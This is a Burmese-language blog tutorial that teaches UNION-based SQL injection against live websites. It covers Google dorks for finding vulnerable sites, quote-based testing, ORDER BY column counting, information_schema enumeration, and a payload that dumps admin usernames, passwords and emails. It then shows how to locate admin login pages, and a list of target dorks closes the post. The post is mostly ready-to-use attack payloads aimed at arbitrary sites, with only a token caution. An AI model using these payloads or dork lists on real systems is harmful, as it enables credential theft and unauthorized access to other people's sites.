Sql injection

 ကၽြန္ေတာ္ hacking ကို တင္ဖို႔ ေတာ္ေတာ္ေလးကို စဥ္းစားခဲ့ရပါတယ္။ ဘာလို႔လဲဆိုေတာ့ ေတာ္ေတာ္မ်ားမ်ား ေလ့စာကာစသူေတြဟာ လက္တည့္စမ္းတတ္ၾကလို႔ပါ။ ဟက္ကင္းကို ေလ့လာၿပီဆိုရင္ေတာ့ လက္တည့္မစမ္းလို႔လည္းမရဘူးေလ မ်ားမ်ားေလ့က်င့္မွ တစ္ကယ္တတ္ေတာ့မွာေပါ့။ ဒါေပမယ့္ စမ္းခ်င္တယ္ဆိုရင္လည္း သတိေလးထားၿပီးေတာ့ စမ္းေစခ်င္တယ္။ ေနာက္ၿပီး လူအမ်ားအတြက္ တစ္ကယ္ကိုအသံုး၀င္ေနတဲ့ဆိုက္ေတြကို မဟက္ေစခ်င္ဘူး။ ၿပီးေတာ့ ကိုယ့္ကိုယ္ကိုယ္လည္း ကာကြယ္ထားရလိမ့္မယ္ အဲဒါမွ အဆင္ေျပလိမ့္မယ္။ ေနာက္ပီးေတာ့ ကၽြန္ေတာ္ကလည္း hacking ကို ဘာမွမသိေတာ့ request ျပန္လာမွာလည္းစိုးတယ္ဗ်.....ဟဲဟဲ... ႀကိဳပိတ္ထားတာေနာ္။ ေနာက္ hacking နဲ႔ပါတ္သတ္ရင္ ကၽြန္ေတာ့ကို မေမးေၾကးေနာ္။ ကဲကဲ ေအာက္မွာ ဆက္ေလ့လာလိုက္ပါေနာ္...။
Sql injection ဆိုတာ application ေတြရဲ႕ Database Layer ေပၚမွာ အသံုးခ်ျပီး code ေတြကို inject လုပ္တဲ႔နည္းလမ္းတစ္ခုပါ
vulnerable ကဘယ္လို အလုပ္လုပ္လဲဆိုရင္ user က input ထည္႔လိုက္တဲ႔အခါ SQL statement ထဲမွာျမဳပ္ထားတဲ႔ string character ေတြကမွန္မမွန္စစ္ထုတ္ျပီးအလုပ္လုပ္ပါတယ္
ွျပီးေတာ႔ Sql injection ကို Sql insertion attack လို႔လည္းတစ္ခ်ိဳ႕ကေခၚၾကပါတယ္

အေသးစိတ္သိခ်င္ရင္ေတာ႔ ဒီမွာသြားၾကည္႔ပါ

http://en.wikipedia.org/wiki/SQL_injection

အဆင္႔ (၁) ယိုေပါက္ ရွိတဲ႔ website ကိုရွာရပါမယ္ (vulnerable website) ဒါမွာ လုုပ္လို႔ရမွာပါ
အဲဒါကိုရွာဖို႔ dork ေတြသံုးလို႔ရပါတယ္ ျပီးေတာ႔ vul scanner ေတြသံုးျပီးေတာ႔လည္းရွာလို႔ရပါတယ္ အဆင္ေျပသလိုရွာေပါ႔ဗ်ာ
Dork ဆိုတာ ယိုေပါက္ေတြရွိတဲ႔ website ေတြရဲ႕လိပ္စာပါ ဒီလိုမ်ိဳးေရးပါတယ္

  inurl:news.php?id=

ဥပမာ vul ဆိုက္ေလးတစ္ခုေတြျပီဆိုပါစို႕

http://www.site.com/news.php?id=1

အဲဒီဆိုက္ေလးက vul ျဖစ္လားမျဖစ္ဘူးဆိုတာစမ္းဖို႔ ကၽြန္ေတာ္တို႔ id=1 ဆိုတဲ႔ေနရာမွာ double code နဲ႔ single code ေတြကိုသံုးရမွာပါ

"="  &  '='

ဒီလိုမ်ိဳးထပ္ျဖစ္မွာပါ

http://www.site.com/news.php?id=1'
        or
http://www.site.com/news.php?id='1


ode ခံျပီး enter နွိပ္ၾကည္႔ပါ၊ error message တက္လာတာေတြ႔လား မေတြ႔ဘူးဆိုရင္ေတာ႔ vul မျဖစ္လိုပါပဲ႔ (ဒါဆိုအျခားနည္းသံုး ဟိဟိ)
error တက္ျပီဆိုရင္ေတာ႔ ၀မ္းသာလိုက္စမ္းပါ (developer coding ညံ႕လို႔ error တက္တာ ဟီး)
error ကဒီလိုမ်ိဳးေလးပါ

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in www/home/cyberoot/public_html/news.php on line 21

ဒါကဥပမာျပတာပါ အျခားerror message မ်ိဳးလည္းေတြ႔ရပါတယ္ ဒီလိုမ်ိဳးသာေပၚရင္ injection လုပ္လို႔ရတယ္ဆိုတာ website ကေျပာေနသလိုပါပဲ႔
အဲေနာက္တစ္ခုက်န္ေသးတယ္
ဒီလိုမ်ိဳး url ဆိုရင္ေကာ vulnerable ဘယ္လိုရွာမလဲ

http://www.site.com/news.php?id=1&dog;catid=2

concept ကတူတူပဲ႔ဗ် အေပၚကနည္းအတိုင္းပဲ႔ရွာလိုက္

http://www.site.com/news.php?id='1&dog;catid='2

အဆင္႔(၂) columns ရွာမယ္
column ကိုရွာဖို႔ Order by command ကိုသံုးရမွာပါ

http://www.site.com/news.php?id=1 ORDER BY 1-- <---No error
   http://www.site.com/news.php?id=1 ORDER BY 2-- <---No error
   http://www.site.com/news.php?id=1 ORDER BY 3-- <---No error
   http://www.site.com/news.php?id=1 ORDER BY 4-- <---No error
   http://www.site.com/news.php?id=1 ORDER BY 5-- <---Error

အဲဒါကိုတစ္ေၾကာင္းစီစမ္းရမွာပါ
ဒါက column 4 ခုရွိတာကိုျပတာပါပဲ႔
အကယ္ရွ္ order by 8-- ေရာက္မွ Error ျပတယ္ဆိုရင္ column 7 ခုရွိတယ္လို႔ဆိုလိုပါတယ္
SQL QUERY ေနာက္မွာ Double null (--)ထည္ဖို႔လံုး၀မေမ႔ပါနဲ႔ အဲဒါမပါရင္အလုပ္္မလုပ္ဘူးဗ်

အဆင္႔(၃) ဘယ္ column number ကေပါက္ေနတာလဲ
ေစာေစာက order by သံုးျပီး column ဘယ္နွစ္ခုရွိတာလဲဆိုတာရွာျပီးျပီ မဟုတ္လား
ကၽြန္ေတာ္တို႔ရွာထားတာက column 4 ခုရွိတယ္ မွတ္ထားဦး
ဟုတ္ပါျပီး အဲဒီ column 4 ခုထဲ႔ကမွ ဘယ္နံပါတ္က vul ျဖစ္တယ္ဆိုတာ ဆက္ရွာမယ္ဟုတ္လား ဟားဟားဟား ဘယ္ေျပးမလဲမိေဆြသဲ ကြိေတာ႔မယ္
ဒီလိုမ်ိဳးထပ္ရွာဖို႔ ကၽြန္ေတာ္တို႔ union and select query ကိုဆက္သံုးရမွာပါ string ရဲ႕အေနာက္မွာ double null(--) ကိုဆက္ဆြဲရမွာပါ

http://www.site.com/news.php?id=1 UNION SELECT 1,2,3,4--
   or
   http://www.site.com/buy.php?id=-1 UNION SELECT 1,2,3,4--

အခုဆိုရင္ သင္ site ေပၚမွာ column နံပါတ္ေတြေပၚေနတာေတြ႔ရပါလိမ္႔မယ္
ဥပမာ 1234 အဲဒါေတြက coloumn name number ေတြပါ


အဆင္႔(၄) database version ရွာပါမယ္
ကၽြန္ေတာ္ေရးတဲ႔ tutorial ေအာက္က အပုိင္းက version 5 အထက္အတြက္ပါ
ေစာေစာတုန္းက 2 ဆိုတဲ႔ vlu column ကုိေတြ႔ျပီဆိုပါစို႔

http://www.site.com/news.php?id=-1 UNION SELECT 1,@@version,3,4--

@@version ဆိုတာကို 2 ဆိုတဲ႔ column မွာအစားသြင္းျပီး inject လုပ္လိုက္တာပါပဲ႔ အျခား ပံုစံတစ္ခုကိုလည္းအစားသြင္းလို႔ရပါတယ္ "version()"

အဲလိုေရးလို႔မွ database version ကိုမျပေသးဘူးဆိုရင္ေတာ႔ unhex(hex()) ကိုဆက္သံုးရမွာပါ ဆက္ေလွ်ာက္

http://www.site.com/news.php?id=-1 UNION SELECT 1,unhex(hex(@@version)),3,4--

ဒီလိုဆိုရင္ေတာ႔ version ကိုဒီလိုမ်ဳိးေလးေတြ႔ပါျပီ
5.1.47-community-log
ဒါက ဒီ website မွာသံုးထားတဲ႔ database version ပါ
အဆင္႔(၅) database name ကိုရွာမယ္
database ရွာဖို႔အတြက္ ကၽြန္ေတာ္တို႔ဒီလုိေရးရပါမယ္

http://www.site.com/news.php?id=-1 UNION SELECT 1,group_concat(schema_name),3,4 from information_schema.schemata--
        or
        http://www.site.com/news.php?id=-1 UNION SELECT 1,concat(database()),3,4--

ဟုတ္ျပီ ဒါဆုိရင္ database name ကိုေတြ႔ပါျပီ အဲဒီနာမည္ကို ခဏေလးမွတ္ျပီး တစ္ေနရာမွာသိမ္းထားပါဦး ေနာက္မွျပန္ယူသံုးမယ္

အဆင္႔(၆) table name ရွာမယ္

http://www.site.com/news.php?id=-1 UNION SELECT 1,group_concat(table_name),3,4 FROM information_schema.tables WHERE table_schema=database()--
   or
   http://www.site.com/news.php?id=-1 UNION SELECT 1,table_name,3,4 FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1--
   or
   http://www.site.com/news.php?id=-1 UNION SELECT 1,table_name,3,4 FROM information_schema.tables WHERE table_schema=database() LIMIT 30,1--

ဒီေလာက္ဆို table name ကိုရေလာက္ပါျပီ

အဆင္႔(၇) column name ကိုရွာမယ္
ေစာေစာတုန္က table name ေတြရွာခဲ႔တယ္ အဲဒီတုန္းက table nameေတြက္ ဒီလုိပံုစံမ်ဳိးျဖစ္ေနလိမ႔္႔မယ္ User(s), Admin(s), tblUser(s) စသည္ျဖင္႔...
information ေတြက ဘယ္ table မွာပါတယ္ဆိုတာခန္႔မွန္းျပီ ေတာ႔ ကၽြန္ေတာ္ကေတာ႔ Adminဆုိတဲ႔ table ကုိပဲ႔ေရြးလုိက္ပါတယ္
ဒါေၾကာင္႔

http://www.site.com/news.php?id=-1 UNION SELECT 1,group_concat(column_name),3,4 FROM information_schema.columns WHERE table_name="Admin"--

အဲဒါဆိုရင္ admin table ထဲမွာရွိတဲ႔ column table list အားလံုးကိုျပေပးမွာပါ
အကယ္ရွ္ error ျပေနတယ္ဆိုရင္ကၽြန္ေတာ္တုိ႔ hex လုပ္ဖို႔ထပ္လိုျပန္ျပီ
ေစာေစာတုန္းက admin ဆိုတာကို hex နဲ႔ ေျပာင္းလိုက္ပါ
Hex/Char Converte

  http://www.swingnote.com/tools/texttohex.php

ဒီလိုမ်ိဳးျဖစ္သြားပါလိမ္႔မယ္

http://www.site.com/news.php?id=-1 UNION SELECT 1,group_concat(column_name),3,4 FROM information_schema.columns WHERE table_name=0x41646d696e--

" Admin"=0x41646d696e
string to hex // 0x ဆိုတာ hex သံုးတာကိုဆိုတာပါ

အခုဆိုရင္ table ထဲမွာရွိတဲ႔ column name ေတြကုိျမင္ရပါျပီ username ,password,email ,စသည္ျဖင္႔ေပါ႔
ကၽြန္ေတာ္ကေတာ႔ username ,password,email ပဲ႔သိခ်င္တယ္ဆိုေတာ႔ အဲဒါကိုပဲ႔ inject လုပ္မွာပါ ျပီးေတာ႔
ေစာေစာတုန္းက ကၽြန္ေတာ္သိမ္းခိုုင္းထားတဲ႔ database name ေလးကိုျပန္သံုးမယ္ဗ်ာ (ကၽြန္ေတာ္ကေတာ႔ database name ကို dbcar လိုသတ္မွတ္လိုက္တယ္)

http://www.site.com/news.php?id=-1 UNION SELECT 1,group_concat(username,0x3a,password,0x3a,email),3,4 FROM dbcar.Admin--

ဆိုလိုတာက Admin table ထဲမွာရွိတဲ႔ dbcar ဆိုတဲ႔ database name ထဲက column name ျဖစ္တဲ႔ username,password,email ကိုဆြဲထုတ္တာပါပဲ႔
အဲဒီမွာ ကၽြန္ေတာ္က 0x3a ဆိုတာကိုသံုးတာတယ္ ဒါကဘာလဲဆိုေတာ႔ : ဆိုတဲ႔ hex ပါ username နဲ႔ password ၾကားမွာမေရာေအာင္လို႔ခြဲေပးထားတာပါ
ဒီလိုုမ်ိဳးေလးျမင္ရမွာပါ
username : password : email
admin : cyberoot : cyberoot1@gmail.com

ဒါဆိုရင္ ကၽြန္ေတာ္တို႔ inject လုပ္တဲ႔ ဆိုက္ရဲ႕ username and password ကိုရသြားပါျပီ
နားလည္မယ္လို႔ထင္ပါတယ္
ေနာက္ဆံုးအဆင္႔ ကေတာ႔ login page ရွာဖိို႔ပါ
ပံုမွန္အားျဖင္႔ login page ကဆိုက္ရဲ႕အေနာက္နားမွာပဲ႔ရွိတတ္ပါတယ္
ဒီလိုမ်ိဳးပါ

http://www.site.com/admin                                        or admin.php,admin.asp,admin.html
         http://www.site.com/administrator                ဒီလိုမ်ိဳးကို Joomla website ေတြမွာေတြ႔ရပါတယ္
         http://www.site.com/wp-contant                   world press မွာေတြ႔ရတတ္ပါတယ္
         http://www.site.com/adminlogin
         http://www.site.com/modlogin
         http://www.site.com/moderator

အျခား adminpage ကိုရွာတဲ႔ Tool ေတြနဲ႔ နည္းလမ္းေတြအမ်ားၾကီးရွိပါတယ္ အဆင္ေျပသလိုရွာေပါ႔


Written by cyberoot or Hacker625


SQL Dork List:

trainers.php?id=
article.php?ID=
play_old.php?id=
declaration_more.php?decl_id=
Pageid=
games.php?id=
newsDetail.php?id=
staff_id=
historialeer.php?num=
product-item.php?id=
news_view.php?id=
humor.php?id=
communique_detail.php?id=
sem.php3?id=
opinions.php?id=
spr.php?id=
pages.php?id=
chappies.php?id=
prod_detail.php?id=
viewphoto.php?id=
view.php?id=
website.php?id=
hosting_info.php?id=
gery.php?id=
detail.php?ID=
publications.php?id=
Productinfo.php?id=
releases.php?id=
ray.php?id=
produit.php?id=
pop.php?id=
shopping.php?id=
productdetail.php?id=
post.php?id=
section.php?id=
theme.php?id=
page.php?id=
shredder-categories.php?id=
product_ranges_view.php?ID=
shop_category.php?id=
channel_id=
newsid=
news_display.php?getid=
ages.php?id=
clanek.php4?id=
review.php?id=
iniziativa.php?in=
curriculum.php?id=
labels.php?id=
look.php?ID=
galeri_info.php?l=
tekst.php?idt=
newscat.php?id=
newsticker_info.php?idn=
rubrika.php?idr=
offer.php?idf=

Comments

Popular posts from this blog

မက္​​ေဆ့ အ၀င္​ရ၍ အထြက္​မရျခင္​း